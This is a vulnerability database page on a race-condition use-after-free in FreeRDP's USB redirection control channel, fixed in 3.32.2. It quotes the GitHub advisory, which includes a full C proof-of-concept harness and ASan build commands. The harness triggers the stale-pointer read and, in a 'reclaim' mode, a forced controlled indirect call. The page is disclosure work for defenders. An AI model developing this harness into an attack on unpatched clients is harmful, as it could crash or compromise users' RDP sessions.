Read the docs

Race condition in FreeRDP USB redirection control channel close

Priority LOW 39CWE-362Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Required
Attack complexity
High
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-w897-ffhv-5j7g. Fix status from GitHub. Impact type from CWE-416 and the CVSS impact.

Summary

FreeRDP versions up to and including 3.32.1 are affected. A malicious RDP server can send a dynamic virtual channel close request for the USB redirection control channel while a client with USB enabled announces a matching local USB device, so the channel can be freed while still in use. This race between the close and the announcement thread leads to a use-after-free (CWE-416, CWE-362), shown only in a local test. An attacker needs a malicious server and the client's USB redirection enabled, and a successful exploit could crash the client.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

A malicious RDP server can send a dynamic virtual channel `CLOSE_REQUEST` for the USB redirection control channel while a FreeRDP client with `/usb` enabled announces a matching local USB device. `urbdrc` obtains the channel through `FindChannelById`, which calls `dvcman_get_channel_by_id(..., FALSE)` and returns a raw pointer without extending its lifetime. The libusb announcement thread later reads `channel->Write`. The server's close runs on the dynamic-channel thread and can remove and free the channel. The control-channel close branch does not acquire the device-manager `loading_lock` held by the announcement. The archived test includes the real `drdynvc_main.c` implementation and orders lookup, free and stale use. AddressSanitizer reports a heap-use-after-free read of the eight-byte `Write` function pointer. A separate test forces a same-size replacement allocation and invokes a test-controlled function pointer from the stale channel address. That replacement is created by the local harness; server-directed replacement contents and a live USB race have not been shown. The device-channel variant is serialized by a separate lock and is not affected by this race. The direct unref in the harness imposes the lifetime state reached by a control-channel close; it does not open a real RDP session or create a USB hotplug race. ```c /* CAND-000026 escalation harness. * * Includes the REAL drdynvc client main translation unit so the unmodified * dvcman_* functions run. Demonstrates: * (1) FindChannelById returns a raw (unreferenced) IWTSVirtualChannel*; * (2) the CLOSE_REQUEST-equivalent release path (dvcman_channel_unref -> * HashTable_Remove -> channelByIdCleanerFn -> dvcman_channel_free) * frees that object while the raw pointer is still held; * (3) using the stale pointer (as urbdrc's stream_write_and_free does via * channel->Write) is a heap-use-after-free; * (4) with the freed slot reclaimed the Write function pointer is read out * of freed/reused memory, i.e. a controlled indirect call. * * No FreeRDP file is modified. */ #include <stdio.h> #include <stdlib.h> #include <string.h> /* Pull in the real implementation. */ #include "channels/drdynvc/client/drdynvc_main.c" static UINT fake_write(IWTSVirtualChannel* c, ULONG cbSize, const BYTE* buf, void* r) { fprintf(stderr, "[harness] CONTROLLED Write() invoked: channel=%p size=%lu buf=%p\n", (void*)c, (unsigned long)cbSize, (const void*)buf); return 0; } int main(int argc, char** argv) { const BOOL reclaim = (argc > 1) && (strcmp(argv[1], "reclaim") == 0); drdynvcPlugin plugin; memset(&plugin, 0, sizeof(plugin)); DVCMAN* dvcman = (DVCMAN*)dvcman_new(&plugin); if (!dvcman) { fprintf(stderr, "dvcman_new failed\n"); return 2; } const UINT32 chid = 7; DVCMAN_CHANNEL* ch = dvcman_channel_new(&plugin, &dvcman->iface, chid, "URBDRC"); if (!ch) { fprintf(stderr, "dvcman_channel_new failed\n"); return 2; } /* Mirror dvcman_create_listener() registration. */ if (!HashTable_Insert(dvcman->channelsById, &ch->channel_id, ch)) { fprintf(stderr, "HashTable_Insert failed\n"); return 2; } ch->iface.Write = dvcman_write_channel; ch->iface.Close = dvcman_close_channel_iface; /* urbdrc get_channel(): raw pointer, no reference taken. */ IWTSVirtualChannel* raw = dvcman_find_channel_by_id(&dvcman->iface, chid); fprintf(stderr, "[harness] raw channel ptr from FindChannelById = %p (obj %p)\n", (void*)raw, (void*)ch); if (raw != &ch->iface) { fprintf(stderr, "[harness] unexpected lookup result\n"); return 2; } /* Impose the lifetime release reached by a server CLOSE_REQUEST. */ dvcman_channel_unref(ch); fprintf(stderr, "[harness] server close path returned; object freed, raw ptr still %p\n", (void*)raw); if (reclaim) { /* Same-size reclaim, as any later allocation in the process could do. */ DVCMAN_CHANNEL* fake = (DVCMAN_CHANNEL*)calloc(1, sizeof(DVCMAN_CHANNEL)); fprintf(stderr, "[harness] reclaim allocation = %p (same slot=%d)\n", (void*)fake, (void*)fake == (void*)ch); fake->iface.Write = fake_write; } /* urbdrc stream_write_and_free(): channel->Write(channel, len, buf, NULL) */ fprintf(stderr, "[harness] about to call stale channel->Write(...)\n"); raw->Write(raw, 0, NULL, NULL); fprintf(stderr, "[harness] returned normally\n"); return 0; } ``` The compile/run commands are: Save the code above as `poc.c` in a disposable directory containing `freerdp-src/` and a matching static ASan `freerdp-build/`. The original run used the same flags and static libraries. The first invocation intentionally triggers an ASan abort; `reclaim` asks the local harness to force a same-size replacement and does not model server-controlled allocation. ```sh SRC=./freerdp-src AB=./freerdp-build cc -std=gnu11 -fsanitize=address -g -O1 -fno-omit-frame-pointer \\ -Wno-deprecated-declarations \\ -DWINPR_DEFINE_ATTR_NODISCARD -DWITH_VERBOSE_WINPR_ASSERT \\ -D_FILE_OFFSET_BITS=64 -DNONAMELESSUNION -DWITH_OPENSSL -DWITH_OSS -DFREERDP_EXPORTS \\ -I"$SRC" -I"$SRC/winpr/include" -I"$SRC/include" -I"$SRC/channels/drdynvc/client" \\ -I"$AB" -I"$AB/include" -I"$AB/winpr/include" \\ poc.c -o poc \\ -Wl,--start-group "$AB/libfreerdp/libfreerdp3.a" "$AB/winpr/libwinpr/libwinpr3.a" -Wl,--end-group \\ -lz -lssl -lcrypto -licuuc -lm -lpthread -ldl -lrt ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 ./poc ASAN_OPTIONS=detect_leaks=0:quarantine_size_mb=0 ./poc reclaim ``` ### Impact Under the stated `/usb`, matching-device and timing prerequisites, the server close can cause a client use-after-free and possible process crash. The suggested score covers client availability only. No confidentiality loss, integrity loss or remote code execution was demonstrated. User interaction is required because Alice connects to the server and enables USB redirection; Mallory does not directly control the local USB arrival. ### Validation The 3.31.1 and 3.32.0 release sources and inspected 3.27.1 and 3.28.0 tags contain the same unreferenced lookup, announcement write and control-channel close/free path. The saved AddressSanitizer record identifies an eight-byte read after `dvcman_channel_free` and `HashTable_Remove`; the forced-reclaim record reports `same slot=1` followed by `CONTROLLED Write() invoked`. Both are focused real-code tests, not end-to-end RDP/USB runs. Source history did not establish an introducing or fixing release. ### Reproduction The complete focused harness and adapted compile/run commands are inline above. The archived focused runs used the actual channel-manager translation unit and showed an ASan use-after-free and a harness-forced same-slot indirect call. A stock-client reproduction would require a disposable USB redirection setup, a matching local device arrival, and a server `CLOSE_REQUEST` timed between lookup and write. That stock-client reproduction has not been observed. ### Suggested remediation Give each cross-thread channel lookup an owned reference, and release it only after the write completes; or serialize control-channel close with the full announcement and write operation. Add a two-thread regression test that pauses announcement after lookup, closes the control channel, and checks that the write never uses freed memory.

Why it matters now

Fix Fixed FreeRDP (c): 3.32.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.13.32.2Patch availableGHSA-w897-ffhv-5j7g
  • FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-w897-ffhv-5j7g

Remediation

FreeRDP 3.32.2 fixes the issue. The sources list no fixed version for other FreeRDP branches.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-w897-ffhv-5j7g FreeRDP (c) Fixed in 3.32.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-w897-ffhv-5j7g

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences